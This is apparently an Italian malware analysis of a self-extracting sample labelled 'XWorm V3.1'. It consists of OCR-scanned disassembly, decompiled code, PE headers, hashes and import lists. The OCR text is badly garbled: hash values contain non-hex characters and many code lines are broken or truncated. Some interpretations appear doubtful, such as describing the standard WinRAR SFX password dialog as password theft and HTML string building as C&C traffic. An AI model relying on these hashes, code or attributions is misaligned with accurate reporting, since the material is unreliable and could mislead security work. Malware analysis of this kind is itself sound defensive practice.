00034400 00002000 6.63003 packed Section(5)["reloc’]
00037400 019ade0d 7.99974 packed Overlay
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Qui alcuni dettagli di patterns esadecimali identificativi dell’archivio SFX autoestraente:

Address Symbols

e, ¥Y.z(.y&L7?. (.
cP@ T ccce e
5.hIe2E....

...R>*>h.K{.=....m
v~.e3..[...N.)..
sl o cdFc o o7HIL -
...hB~7.h..851i"'..

.Q...aS...N.}.

ra DT 2,

L%K9. ...}

c
clf -
= .
B+.1i..
. .ObW~.
.c.*D.g4...

0196d10c 0196d0d0

La data di compilazione risale al 14 Agosto 2016:
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property value

md3 D3E621C2D9C5830C44B655257C027A67

shal DABFOFCE1T3E4325724418B2821ATIAIDSTOF347

shal36 DOC42610897F72A4131B7B1F384FTO0E2ASFCAFEETDICCF1BDBADZAGACIITTS

first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B3 00 00 00 00 0000 00 40 00 00 0000 00 00 00 00
first-bytes-text Wl

file-size )

entropy

imphash ASFE628TCAGTSCC240A4TIEFICDCEBIF

signature Microsoft Visual C++ 8

entry-point ES 99 04 00 00 ES 80 FE FF FF 3B 0D B8 9143 00 F2 75 02 F2 C3 F2 ES OF 06 00 00 83 61 04 00 8B C1
file-version

description

file-type executable

cpu 32-bit

subsystem GUI

Dx57BOC365 (Sun Aug 14 12-15:49 2016)

debugger-stamp 0x57BOC365 (Sun Aug 14 12:15:49 2016)

resources-stamp
import-stamp
exports-stamp
version-stamp

certificate-stamp

property value detail

Sorug 14 12.15:49 2015
size-of-optional-header 224 bytes

signature PEDD

machine Intel

sections ]

pointer-symbol-table

number-of-symbols

processor-32bit true
system-image

executable true
dynarmic-link-library

debug-stripped

line-stripped-from-file

local-symbols-stripped-from-file

relocation-stripped

large-address-aware

uniprocessor

bytes-of-machine-words-reversed-Low
bytes-of-machine-words-reversed-Hi

media-run-from-swap

netwaork-run-from-swap

Il requestedExecutionLevel risulta essere “asinvoker”, ovvero possiede i medesimi permessi
d’'esecuzione del processo chiamante.
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<Txml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlins="urn:schemas-microsoft-comiasm.v1” manifestVersion="1.0">
<assemblyldentity
version="1.0.0.0"
processorArchitecture="*"
name="WinRAR SFX"
type="win32"/>
<description>WinRAR 5FX module</description>
<trustinfo xmlns="urn:schemas-microsoft-com:asm.v2"»
<security>
<requestedPrivileges>
<requestedExecutionlevel level="aslnvoker"
uiAccess="false" />
</requestedPrivileges>
</security>
</trustinfo>
<dependency>
<dependentAssembly>
<assemblyldentity
type="win32"
name="Microsoft. Windows.Common-Controls”
version="6.0.0.0"
processorfrchitecture="*"
publicKeyToken="6533b64144ccf1df"
language="*"/>|
< /dependentAssembly>
</dependency>
< compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!--The |D below indicates application support for Windows Vista -->
<supported0S ld="{e2011457-1546-43c5-a5fe-008deee3d3f0})" />
<!--The ID below indicates application support for Windows 7 --»
<supported0S 1d="{35138b%a-5d96-4fbd-8e2d-a2440225f93a}" /=
<!--The D below indicates application support for Windows 8 --=
<supported05 |d="{4a2f28e3-53b9-4441-bad%c-d69ddadabelB}" />
<!--The |D below indicates application support for Windows 8.1 --»
<supported0S |d="{1f676c76-80e1-4239-95bb-83d0f6d0da7a}" />
<!--The |D below indicates application support for Windows 10 --»
<supported0S ld="{3e0f7a12-bfb3-4fed-b9a5-48fd50a15a%a}" />
</application>
</compatibility>

A seguire, all'interno di una sessione di disassembling e debugging, la cifratura di regioni di
memoria, il settaggio di attributi di sicurezza di files presi in considerazione, la ricerca di
privilegi, enumerazione di chiavi di registro e folders browsing:
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100.00% [{-1€5, 14€)

A |
push offset aCrypt32Dll ; "Crypt32.dll”
call sub_4BESE3
mow [edi], eax
test eax, eax
jz short loc_4@DACO
Y
push offset ProcName ; "CryptPro
push eax ; hMedule
call ds:GetProcAddress
push offset aCryptunprotect ; "CryptUnprotectMemory”
push dword ptr [edi] ; hModule
mav [edi+8], eax
call ds:GetProcAddress
mav [edi+BCh], eax

{743,413 |0000CERR |000000000040DRRR -

'

FMEE

loc_48DACT:
mow byte ptr [edi+4], 1
1

sub 40DRS1+19

{Synchronized with Hex View-1)

O003€EES
=

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

J

word_437A52
aSetfilesecurit

[l ]
[
i R ]

& word_437466
alookupprivileg
word_437A7E
aRegclosekey
word_437A8C
aRegcreatekeyex
word_437A9E
aRegopenkeyexw
word_437AAE
aRegqueryvaluee

[+ 3]
2
LU
‘:;
o
(4]

@mE@mma&m

word_437AC2
aRegsetvalueexw

W b

word_437AD4
aShgetmalloc
word_437AE2
aShgetpathfromi

Boba B

o

Y word_437AFA
aShbrowseforfol

Iy
e

i e e I I R I R R I I R I

D00 000060600000 000000005
DO 00000600060 000 0066050605

& word_437B18
37612 ashfilecperatio
0000000000437TRES -
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-rdata:

dw B ; DATA XR

db "SetFileSecurityl',®
align 2

dw B ; DATA )
db "LeckupPrivilegeValuel',@
dw B ; DATA XR

db "RegClosekey',@

dw B ; DATA )

db "RegCreateKeyExl',8

dw B ; DATA )

db "RegOpenKeyExW',8

dw B ; DATA XR

db "RegQueryValueExW',8
align 2

dw 8 ; DATA )

db "RegSetValueExl',@
align 4

dw 8 ; DATA )

db "SHGetMalloc',®

dw @ ; DATA 3

db "SHGetPathFromIDListW',®
align 2

dw @ ; DATA XR

db 'SHB'cwse=C'=clde’N',é
align 1eh

dw 8 ; DATA D

db "SHFileOperationid',®

aLlookupprivileg |(Synchronized with Hex View-1)
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.rdata:

oo
o

aRegsetvalueexw

db 'RegSetValueExw",@

BO4. 4
.rdata:eed 3 align 4

.rdata:eed 4 word_437AD4 dw &

.rdata:eed & aShgetmalloc db 'SHGetMalloc',@

.rdata:eed 2 word_437AE2 dw 2 ;

.rdata:eed 4 asShgetpathfromi db 'SHGetPathFromIDListuW",

.rdata:eed align 2

.rdata:ees word_437AFA dw &

.rdata:eed aShbrowseforfol db 'SHBrowseForFolderid',®@

.rdata:eed align 1&h

.rdata:eed word_437818 dw 2 B

.rdata:eed aShfileoperatio db 'SHFileOperaticnW',@

.rdata:eed align 4

.rdata:eed word_437824 dw 2

.rdata:eed ashellexecuteex db 'ShellExecuteExid',8

.rdata:eed 6 word_437B36 dw 2

.rdata:eed 5 ashgetfileinfow db 'SHGetFileInfow',e

.rdata:eed 7 align 4

.rdata:eed 5 word_437B48 dw & ;

.rdata:eed % ashgetfolderloc db 'SHGetFolderlLocation',@

.rdata:eed word_437B5E dw 2 ; DATA XREF
.rdata:8e4 ashchangenotify db 'SHChangeNotify',@

.rdata:eed align 1eh

.rdata: word_437B879 dw 2 ; DATA XREF: .rdata:ee437sDefo
.rdata:eed. 72 aCreatestreamcn db 'CreateStreamOnHGlobal®,®

.rdata: 88437658 word_437B88 dw & ; DATA XREF
.rdata: 884376884 aCocreateinstan db 'CoCreateInstance’,®

036F70 |0000000000437B70: _rdata:word 437B70 |(Synchronized with Hex View-1)

Qui alcuni dettagli dell’attributo di file properties SFX EXE:

00037180
o

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

57B@C365h Aug 14 19:15:49 2816

dd ; TimeDateStamp: Sun

dw @ 3 MajorVersion

dw @ ; MinorVersion

dd rva asfxrarExe : Name

dd 1 ; Base

dd @ ; NumberOfFunctions

dd @ 3 MumberOfNames

dd @ ; AddressOfFunctions

dd @ ; AddressOfMames

dd @ ; AddressOfMameOrdinals
astwrarExe db ‘sfxrar.exe’,® ; DATA XREF rdata:eed

align 4
_ IMPORT_DESCRIPTOR_KERMNEL32 dd rva off_437DCC

DATA XR

; Import Name Table
Time stamp
Forwarder Chain
DLL Name

Import Address Table

dd @
dd @
dd rva aKernel32D11

db
db
db
db
db
dh
db
db @

-rdata:00437D80 | (Synchronized

[ I R R B R B R

[ R o

1 884370BF

0000000000437D80: with Hex View-1)
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A seqguire i riferimenti, nella sezione .rdata, di stringhe e funzioni menzionate

precedentemente:

.rdata: 88435874 db 'CreateFileW’,®
.rdata:Be438088 word_438080 dw @8D&h ;3 DATA XREF: .rdata:ee43 o
.rdata: 88438082 db 'DeleteFilew’,®
.rdata:B843808E word_43868E dw 93h ; DATA XREF: o
.rdata:@e438890 db 'CreateHardLihkN',B
.rdata: 984358048 word_4386A6 dw 261h ; DATA XREF: o
.rdata: 88438042 db 'GetShortPathNamell’ ,8
.rdata:pe438064 word_438084 dw 28Fh ; DATA XREF: o
.rdata: 08438066 db "GetLongPathNamewW',®
.rdata: 8843807 align 4
.rdata:pe438808 word_4386C8 dw 363h ;3 DATA XREF: .rdata:@e437Eeeto
.rdata:e84388CA db "MoveFilew',®
.rdata: 88435004 word_4386D4 dw 1F3h ; DATA XREF: o
.rdata: 08438006 db "GetFileType',®@
.rdata:Pe4380E2 word_4386E2 dw 264h ; DATA XREF
.rdata:884358E4 db 'GetStdHandle',8
.rdata:@e4380F1 align 2
.rdata:p843808F2 word_4386F2 dw 525h ; DATA XREF: .rdata:@@437EeCto
.rdata:884358F4 db "WriteFile',8
.rdata:B@4380FE word_4386FE dw 3Ceh ;3 DATA XREF: .rdata:@e437Eleto
.rdata: 88438100 db "ReadFile’,®
.rdata: 88438189 align 2
.rdata:Be435810A word_43810A dw 157h ; DATA XREF: o
.rdata:8843816C db 'FlushFileBuffers',®
.rdata: 88438110 align 2
.rdata:ee43 E word_43811E dw 453h ;3 DATA XREF: .rdata:@e437E18to
.rdata: 88438128 db 'SetEnd0OfFile’,®

00037490 |00000000004328090: .rdata:00432090 |(Synchronized with Hex View-1)

o i

.rdata: @438l align 4
.rdata: @438l word_43816C dw 12Eh ; DATA XREF: .rdata:@ee437E238%T0
.rdata:@8e438 db 'FindClose’,®
.rdata: 8438178 word_438178 dw 139h ; DATA XREF
.rdata: 80438 db 'FindFirstFilkw’,e
.rdata: 88438189 align 2
.rdata: 88438184 word_43818A dw 145h ; DATA XREF: .rdata:@@437E3@t0
.rdata: 884381 db "FindNextFilell',8
.rdata: 88438194 word_43819A dw 2A4h ; DATA XREF: .rdata:@@437E34%0
.rdata: 88438 db "GetVersionExl',8
.rdata: 88438145 word_43B1AA dw 1BFh ; DA XREF rdata: 084
.rdata:@e438 db "GetCurrentDirectoryW',®
.rdata:@e438 align 2
.rdata:Be438 word_4381C2 dw 1FBh ; DATA XREF: o
.rdata: 88438 db "GetFullPathNameW' ,8
.rdata: 884381 align 2
.rdata: 8438106 word_4381D6 dw 15Ch ; DATA XREF: .rdata:@ee@437cE4@to
.rdata:@84381D8 db "FoldStringW’,@
.rdata:@e438! word_4381E4 dw 214h ; DATA XREF: .rdata:@@437E44to
.rdata: 88438 db 'GetModuleFileNameW' ,&
.rdata: 8438 align 2
.rdata:®84381FA word_43B1FA dw 218h ; DATA XREF
.rdata:ee4381FC db "GetModuleHandleW',®
.rdata:@a4382e0 align 2
.rdata:@@43820E word_43820E dw 14Eh ; DATA XREF
.rdata:ee438216 db 'FindResourcel',®
.rdata:@843821EF word 43821F dw 162h ; DATA XREF: .
00037574 |0000000000438178: _rdata:00438174 |(Synchronized with Hex View-1)
o i
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Vengono eseguite funzioni di debuggers checking ed environment discovery (come ad
esempio GetSystemTimeAsFileTime, QueryPerformanceCounter), alcune di tali funzioni
possono essere utilizzate in un contesto Anti-VM.

.rdata:

8843 align 2
.rdata;eed3 word_4386C2 dw 3@4h ; DATA o
.rdata: @843 db 'IsProcessorFeaturePresent’,
.rdata:@8438¢ word_4386DE dw 3@dh ; DATA XR rdata:@8437F44t0
.rdata: 0843 db 'IsDebuggerPrEsent',B
.rdata: 0843 word_4386F2 dw 4D3h ; DATA XREF: o
.rdata:0e43 db "UnhandledExceptionFilter',@
.rdata:Be43s align 2
.rdata:eeds word_43878E dw 445h 3 DATA XREF: .rdata:eed437racto
.rdata:eed43s; db "setUnhandledExceptionFilter’,@
.rdata:ee43 word_43872C dw 263h 3 DATA XREF rdata:@e437Fseto
.rdata:@8438; db "GetStartupInfol',@
.rdata: 0843 word_43873E dw 3A7h ; DATA XREF: .rdata:@ed437F54te
.rdata: @843 db "QueryPerformanceCounter',®
.rdata: 0843 5 word_438758 dw 1C5h ; DATA XREF rdata:@B437F58%0
.rdata: 8843 - db "GetCurrentThreadId’,®
.rdata:0e43 align 2
.rdata:ee43 word_43876E dw 279h 3 DATA XREF: .rdata:@@437F5Cto
.rdata:ee43 db "GetSystemTimeAsFileTime',@
.rdata:@e438758 word_438788 dw 2E7h ; DATA XREF: o
.rdata:ee43 ) db "InitializeSListHead',®
.rdata: @843 word_43879E dw 4C8h 3 DATA XREF: o
.rdata: @843 db 'TerminateProcess',d
.rdata: 0843 align 2
.rdata:Be438 word_4387B2 dw 418h ; DATA XREF: .rdata:@e437F68To
.rdata: 8843 4 db "RtlUnwind",@
.rdata:884387BE word 4387BE dw BEAh ; DATA XREF: . Cto

OQ037RED |0000000000438€E0: .rdata:00438€E0D |[(Synchronized with Hex View-1)

Qui I'esecuzione di tasks di privileges management e creazione di collegamenti simbolici:

mov eax, 3848h

call __alloca_probe

cmp byte 43BBDA, @

jnz short loc_486C81

A J

push offset aSerestoreprivi ; “SeRestorePrivilege”
call sub_487407
push offset aSecreatesymbol ; "SeCreateSymboliclinkPrivilege”
call sub_487407
mov byte_43BBDA, 1

i

FIZE

loc_486C01:

push ebx

push esi

push edi

push 1418h

lea ecx, [ebp-28h]
call sub_481571

MV ebx, [ebp+l@h]
and dword ptr [ebp-4], @
push aeeh

Tas A Fabksri1RacAkL]

100.00% |{34,111) [{£55, 402) |J000SFCS |000000000040€BCS: sub 40&BCS |(Synchronized with Hex View-1)
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A seguire un contesto di esecuzione di files enumeration, scrittura su files ottenuti tramite la
funzione WriteFile, dialog box per la scelta della folder root ed il consequenziale ottenimento
delle passwords ivi contenute.

T —
loc_4@965F: 3 lpOverlapped I |
push @
lea eax, [esp+l4h+NumberOfByteskritten]
push eax 3 lpNumberOofBytesiWritten
push ebp 3 nNumberOfBytesTolWrite
push [esp+lCh+lpBuffer] ; lpBuffer
push dword ptr [edi+4] ; hFile
call ds:WriteFile
dec eax
neg eax
sbb al, al
inc al
mov bl, al
L

loc_4@8967D0:

test bl, bl

jnz short loc_4@96E2

YyYvy
loc_4@9681:
e harta e Tadisidkl &

100.00% [({379,1528) |({75€,382) |000029E€ |[00000000004095E€: sub_4095E€ |(Synchronized with Hex View-1)

arg_@= dword ptr 8

arg_4= dword ptr @ch

push ebp

mowv ebp, esp

push ecx

push ecx

mow eax, [ebptarg_e]

mow [ebpt+dwInitParam], eax

mow eax, [ebptarg_4]

mow [ebptvar_4], eax

lea eax, [ebp+dwInitParam]

push eax ; dwInitParam
push offset sub_418628 ; lpDialogFunc
push holg ; hWndParent
push offset aAsknextvol ; "ASKNEXTVOL"
push hInstance ; hInstance
call ds:DialogBoxParamh

dec eax

neg eax

sbb BAX, Eax

inc eax

mow esp, ebp

pop ebp

retn 8

sub_41B2A7 endp

100.00% |{-25%,139) |(656,417) |O001AEAT 000000000041 B2A7: sub 41B2A7 | (Synchronized with Hex View-1)
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m T T
mow ebp, offset aReplacefiledlg ; "REP
jmp shert loc_41B35@

Iz

FIEZE

loc_41B358: ; dwInitParam
push [espt+léh+dwInitParam]

push ebx ; lpDialegFunc
push holg ; hWndParent
push ebp ; lpTemplateName

push dword_43BEBER ; hInstance
call edi ; DialogBoxParamid

mov esi, eax
cmp esi, 4
jz short loc_41B33@

loc_41B33@: ; dwInitParam
push [espt+ieh+dwInitParam]
push offset sub_41AC31 ; lpDialogFunc

push hidnd ; hkindParent
push offset aRenamedlg ; "RENAMEDLG"
push hInstance ; hInstance

100.00% [{212,593) |(742,406) [0O0O01REE4 (000000000041B2E4: sub 41B2E4 | (Synchronized with Hex View-1)

push offset sub_418B28 ; lpDialogFunc
push esi ; huWndParent

push offset aGetpasswordl ; "GETPASSWORDL"
push dword_43BBE@ ; hInstance

call ds:DialogBoxParamid

test eax, eax
jnz short loc_41B43A
Y _ Yy
mov ebx, [ebp+arg_C]
mov ecx, ebx loc_41B43A:
push offset String mov ebx, [ebpt+arg_C]
call sub_48DBCL mow esi, offset unk_453D@8
mov byte_441724, 1 push 4gh ; '@
jmp short loc_41B44B| |pop ecx
mow edi, ebx
rep movsd
MOV SW
]
Yy
loc_41B44B:
cmp byte ptr [ebx+leeh], @
jz short loc_41B462

100.00% | (-50,308) [{(720,41%) [00D01ATSF |000000000041B33F: suk 41B35F |(Synchronized with Hex View-1)
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La funzione FUN_004074d7 viene richiamata mediante un argomento in input facente
riferimento ai privilegi di sicurezza del contesto d'esecuzione in questione, successivamente
vengono modificati gli attributi di security dei files presi in considerazione mediante I'oggetto

Bvars:

T8 | ¥lundefinedd ¥} (u: T+ -0xld] = 05
20 | *(undefinedd *) + -0x10) = 05
21 iVarl = *{int *) { 54

22 | *(undefined4 A;{~- 5D+ 4y = 0:

hdD == l'-r.l; {
"SeSecurityPrivilege");
{

1= )

"\x01';
30 FUN_004074d7 (L"SeRestorePrivilege”);
3l DAT_0043bbdd = "\x01';

40 {{uVard = FUN_0040acl9(* {wchar t **) {unaff EBP + Oxc), (wchar t *) (unaff EBP + -0xl0l
11 ¢ (charjuVard = "w0" ||
12 {EVari = SetFileSecurityW ( {(LPCWSTIR) {un BF + —H\J.HJ.C,'! sJecuritylnformation,

13 SecurityDescriptor), BVar3d = 0)))) [
44 FUN_00401£25(0x4f,iVarl + H\J.:,‘{un:le ined4 *) (unaff EBP + Oxc)):
45 _guard_check_icall():

16 FUN_00406acc (sDRT_0043bbIZ,1);
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22 undefined4 *in F5 OFFSET;

4 FUN_0041cléc():

if (DRT_0043bbda == "\0') {
FUN_00407447 (L"5eRestorePrivilege");
FUN_004074d7 {L"5=

DAT_0043bbda = "\x01";

reatedymboliclinkPrivilege™);

[ ST ST T O TR S NI 8]

2 }
FUN_00401571 { {wvoid *) f EBP + -0x28),0x1418);
31 iVarl = *{int *) {un + 0x10) ;7

32 Y{undefined4 ¥) (unz
33 FUN_0040e847 { {wchar_t *} {(una
34 sVard = _wcslen(({wchar_t *) (una
35 *{gize_t *) {unaff EBF + -0xl0) = &
36 Strl = (wchar_t *) {1 i
{wchar t *) (1 BP + -0x2028);
38 i & _wWeancmp{_Strl,
35 EVard = 1 - {iVardé != 0);
40 ¥{uint *) {unz

a1 | if (ovarsa 1= 0) |

[

+ -0x1028), {wchar_t *) (iVarl + 0x10f4),0x800);
BE + —-0xl028));

+ -0x1028);

= —-iVare & OxELff££000 | (uint)bVard;

42 1 = {wchar_t *) {unaff EBP + -0x1020):
43 & = _wesncmp(_Strl, L"UNCWA™

44 if {iVaré == 0) {
45 * {undefined2 *) {unaff EBF + -0x2028
45 Dest = (wchar_t *)( BF + -0x2026);

47 Strl {wchar_t *) (unaff EEF + -0xl0la):

= 0x5cy

A seguire un check di fallimento d’'esecuzione della funzione CryptUnprotectMemory per la
consequenziale decrittografia di regioni di memoria precedentemente criptate.
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2 |void FUN_0040dkl0{int param l,uint param Z,char param 3,char param 4)

& int i’

uint 1

8 wchar t *pwVard;

10 | if (DAT 00440248 == (code *)0x0) |
11 FUN_0040da%1  {(HMODULE *) &DAT_00440e40) ;

{param 2 & 0xf);
RLEAN
ic == (code *)0x0) goto LAB 00404b47;

18 is ) 1440e4c) (param 1,iVar2,param &4 != "\0");

{

18 return;

15 !
20 pwVard = L"CryptUnprotectMemory failed™:
21 }

22 else |

23 if (DAT 00440248 = {code *)0x0) |

4 |LAB 0040db&7:

= GetCurrentProcessId();

[T R L
o

if (param 2 = 0) |
28 return;
- N

La label LAB_0040db97 fa riferimento alla variabile pwVar4 per la gestione del fallimento
d’'esecuzione della funzione CryptProtectMemory:.

pwVard = L"CryptUnprotectMemory failed™;

23 {code *)0x0) {
25 D GetCurrentProcessId();
:C = ':'-'

2 if (param 2 == 0) |

23 return;

29 }

30 do |

31 *(byte *) (uVar3 + param 1) = *(byte *)(uVar3 + param 1} ~ (charjuVar3 + (char)IVarl + 'K';
uVar3 + 1:

< param_2);

33 } while {
34 return;

43) (param 1,iVarZ,param 4 '= "\0');

38 return;

40 pwWVard = L"CryptProtectMemory failed™;
41 }

42 FUN_00406%9e4 (sDAT_0043bbIg,p
43 _guard_check_icall():
44 thunk FUN_00406k14 (DX
45 return;

16 |
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Qui una lista di moduli a cui fa riferimento il sample, tra cui la gia citata netapi32.dll:

57 local k3a4[0] = L"1pk.dl1";

58 local b3a4[l] = L™uspl0.d1ll™;

29 local b3a4[2] = L"clbcatg.dll™;

6 local k3a4[3] = L"comres.dll™;

6l local b3ad4[4] = L"ws2_32.d411";

62 loca = L"wsZhelp.dll™;
63 local = L"psapi.dll™;

o4 loca = L™ieframe.d11™;
65 loca = L"ntshrui.dl1"™;
66 local = L"atl.d11";

a7 local = L"setupapi.dll”;
68 local = L"apphelp.dll™;
69 loca = L™userenv.dll™;
7 L::L' = L"netapi32.dll"™;
71 loc = L"shdocvw.d11l™;
72 1 = L"ceypt32.dll™;
73 1 = L"msasnl.dll™;
T4 1 = L"cryptui.dll™;
75 1 = L"wintrust.dll™;
76 1 = L"shell32.dl1";
77 1 = L"secur3i2.dll™;
T8 1 = L"cakinet.dll™;
79 1 = L"gleaccrc.dll”™;
g 1 = L™ntmarta.dll™;
a2l 1 = L"profapi.dll™;
g2 1 = L"WHindowsCodecs.dll™;
g3 1 = L"srvcli.dll™;

All'interno della funzione FUN_004175ed vi &€ un'azione di appending di oggetti HTML per il
content-type al fine di poter eseguire le corrette richieste C&C.
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2 |void _ thiscall FUN_004175ed(void *this,wchar t *param 1,char param 2)

] int it

10 undefined2 *hGl
L1 HRESULT &
12 wchar_t
3 wchar_t *p

IStream *pISt

Lé | if {*{imt *) {({int)this + 0xl0)} !'= 0} {
5 o4 = (IStream *)this;
18 FUN_00417467 {param 1);
1 SV = _wcalen(param 1};
20 Dest = (wchar_t *)FUN_00422c58(sVar3 * 2 + 0x200);
21 if { Dest != (wchar_t *)0x0) {
22 _wcacpy (_Dest, L"<html>");
t,L"<head><meta http-equiv=\"content-type\" content=\"texzt/html;
"></head>") ;

_wecscat (|

t, L"utf-8\

_wocscat (L
wVar *param_1;

3 if (cVarZz = "“0") {

st, L"</html>"}) :I

33 _wcacat(_De

40 if (param 2 == "\0") {
¢ = FUN_004177£fb{_Dest,u

_wcslen(_Dest);
{undefined2 ¥)GlobalRlloc{0x40,sVar3d ¥ & + 9);
'= [undefined2 *)0xz0) [

WideCharToMultiByte (0xfded, 0

43 if ([iW

L= 10) {
15 Y {undefined *)hG

] }

52 hGlobal = 0Oxl

53 Y {undefined *){ = Oxbf;
54 }

55 }

56 FID_conflict:_free( Dest);

37 E = CreateStreamOniGlobal (hG1

58 (-1 < HVars) |

FUN_004174%e(this,* (int **) ({int)this + 0x10)):

{*pIstacki->1pVtbl->Release) (pIStackd):

A sequire ulteriori stringhe gia evidenziate sopra:
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00430484 -g| 52 "-d%s" "ps” "sps” u"el =2 \"-d%s\" \"po%s\" \-sp...  unicode

0043040 runas urunas”® unicode
004304cc %5 s U %est s unicode
004304dc Delete uDelete™ unicode
004304ec Text uText” unicode
0043048 Title uTitle™ unicode
00430504 Path uPath” unicode
00430510 Silent u"Silent” unicode
00430520 Overwrite u"Overwrite” unicode
00430534 Setup u"Setup” unicode
00430540 TempMode u"TempMode™ unicode
00430554 License uLicense” unicode
+

La stringa "GETPASSWORD1" viene utilizzata come parametro per la creazione di una nuova
istanza di un DialogBox al fine di eseguire file choosing management:

1 = hDlg 004
17 {wchar_t *)0xl000;

13 b Ox41lb3acy

15 i a2 == "\0") {

22 D r2 = 0)):

23 }

24 B = FUN_0040abc3 (param 2,param 3,local_1004,0x800);

25 i 1453200 = "\0") |

26 WWarl = (wchar t *)

27 DialogBoxParamW (hInstanc e0, L"GETPASSWPRD1", pliVard, lpDialogFunc 00418hk2k,

28 (LERERAM) 1c _1004);

29 arl != (wchar_t *)0x0) goto LAB 0041b43ar

30 (wchar t *)FUN_0040dbcl({param 4, (wchar_t *)slParam 0042f5dc);

37 ;7 iVard != 0; iVard = iVard + -1) |

1l }

42 ¥ [undefined2 *)puVaré = ¥ (undefined2 *)puVar3;

I malware effettua I'apertura della chiave di registro

Software\\Microsoft\\Windows\\CurrentVersion e un'azione di queryvalue inerente alla
directory ProgramFilesDir:
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else if ({wVarz == L"\\
_weacpy { {wchar t *) (u
}

else |

)

1 ({wVar2 != L'\0" && {pwVarzl[1] == L':")))) {

£ EBF + -0xl03c),pwVarll);

11 = ReglpenKeyExW { (HEEY) 0x50
1, {PHEEY) {

L"Software’\ \Microsoft\\Windows\\CurrentVersion",0,

if (LVarll == 0} {
*{undefined4 *) {u £
ReglueryValueExW (¥ (HEEY *} (u
(LPDWCRD) (1
(LEDWCRD) (1
RegCloseHey (¥ (HEEY *) {
u 17 ¥{uint *) {ur
rl7) |

UxXVIL;

= 0x1000;

+ -0x18) ,L"ProgramFilesDir", {LEDWORD) 0x0,
+ -0xlc), (LPBYIE) {unaff EBP + -0x103c),

+ -0x14));

*(undefined2 *) (unaff EBF + -0xl03c + uVarl7 * 2) = 0;
t
if {{*{short *} {u EBF + -0x103c) !'= 0) &&
(zVarll = _wecslen((wchar_t *) ( P
*(short *) {(unaff EBP + -0x103e +
_wescat {(wchar_t *) (una

1

1 = _wcslen(pwVaril):
3 _wecslen({wchar_t *) (unaff EBF + -0x103c));
if (sVarlQ + sVarl2 < OxT££) |

_wcscat{(wchar_t *) (unaff EBF + -0x103c),pwVaril);
1

Contestualmente al richiamo della funzione SHFileOperationW vi é 'esecuzione della funzione
FUN_00403ce2 con in aggiunta l'attributo “%s.%d.tmp” che include un parametro di tipo String
e Decimal.

_Mem3eT { {Vvold *)
¥{undefinedd *) |
¥ (undefined2 *) (
* (int *) {un

LEE + —UHSC), U, UxLle);

DVarli = GetFileRttributesW{({LPCWSTR) {unaff EBE + -Ox3cid));
£f) s (EVard = DeleteFileW({(LPCWSIR) {unaff EBP + -0x3c84)), EVard = 0)

if {(DVarld != Oxfif
do |
FUM_00403ce2( (wochar_t *) {ur P + -0x103c),
DWarld = GetFileAttributesW { (LECWSTIR) (u EB
} while (DVarld '= Oxffffffff):
BVard = MoveFileW ((LBCWSTR) (unaff_EBP + -0x3c84), (LBCWSIR) (unaff_EBF + -0x103c));
if [BVard '= 0} |
MoveFileExW ((LBCWSTR) (unaff EBP + -0xl03c), (LBCWSTR) Ox0,4);

00, L"%s.%d.tmp") ;
P+ -0x103c));

FUN_0040%ca({void *) (unaff EBF + -0xdcic), (wchar_t *) (unaff EBF + -0x3cid));
C = ({charjuvars;
goto joined rOx00419£75;
SAB 004la0de:
¥ {undefinedd4 *) {un
FUN_00408b53 {ur
jwitchD 0041%zfc caseD e:
o 5 = FUN_00418kdl {* (WCHAR **) (unaff EBF + Oxc), {LPCWSTIR) (unaff EBF +
(wchar_t *) (
{undefined *) (ur

iVarl3 = *{int *) (unaff_EBP + 0x10);

+ -0x5c34), (undefined *) {u
+ -0xe),0x1000);
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A seguire un disassemblato della funzione EventRegister per il monitoraggio e la scrittura di

eventi di sistema:

undefined4 _ cdecl wvort EventRegister (undefined4 para...
ER¥:4 <RETURN>

Stack[0x4]:4
Stack[0x5]:4

Stack[Oxc]:4

Stack[0xl0]:4 param 4
vcrt_EventRegister

FUSH
MOV

FUSH
FUSH

FUSH

FUSH

FUSH
CRLL

MOV
ADD
TEST
JZ
FUSH
MOV
FUSH
FUSH

param 1 ¥XREF[1]: 00421218 (R)
param 2 EREF[1]: 004212k5 (R)
param 3 XREF[1]: 104212k2 (B)
XREF[1]: 004212ad (R)

XREF[1]: FUM_00401000:004010:

s_EventRegister 00430a34

DAT 00430a30

3_EventRegister_00430a34

Ox0
try_get_function

LAE 004212cd

dword ptr [EBF + param 4]
ECK,ESI

dword ptr [EEF + param 3]
dword ptr [EBF + param 2]

All'interno del disassemblato della sezione .text vi e un'istruzione di compare tra il puntatore
all'indirizzo 0x4391B8 ed il registro ECX.
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@ PE-bear v0.5.5.3 [C\Users\|EUser\DesktopiWorm & RATUKWorm_V3, T\ Worm V3, 1\XWorm V3, 1.sfx.exe]

File Settings View Compare Info
~ [E XWorm V3.1.sfx.exe Xl = 5 B 2 T
DOS Header =
nDOSStub 01 2 3 45 6 78 5% ABCUDEF
v WT Headers 1BEB4 EB 35 04 00 00 E3 80 FE FF FF 3B 0D B8 51
Signature 1BEC4 00 F2 75 02 F2 C2 F2 E9 OF 0€ 00 00 83 €1 04
File Header 1BED4 8B Cl 83 €1 02 00 C7 41 04 €0 FF 42 00 C7 01
Optional Header 1BEE4 0% 43 00 C2 55 8B EC 5€ FF 75 08 =B F1 ES 44
Section Headers 1BEF4 FF FF C7 O€ 08 09 43 00 8B C€ 5% 5D €2 04 00
“ Sections 1BFO4 €1 04 00 BB CL 83 €1 08 00 C7 41 04 10 05 43
~ % text 1BF14 C7 01 08 09 43 00 C3 55 8B EC 83 EC 0OC 8D 4D
=) EP = 1BEES 1BF24 ES A7 FF FF FF €8 58 &C 43 00 2D 45 F4 50 28
& rdata . . .
E dat Disasm: tet  General DOSHdr  RichHdr  FileHdr  Optional Hdr ~ Section Hdrs Exports
.data
uﬁ fids Hex Disasm Hint
offg rsrc
o reloc
Overlay

m Y31 shoexe

01 2 3 4 5 &6 7 8 % A B CDE F
1BEB4 E8 5% 04 00 00 ES 80 FE FF FF 3B 0D B8 91 43
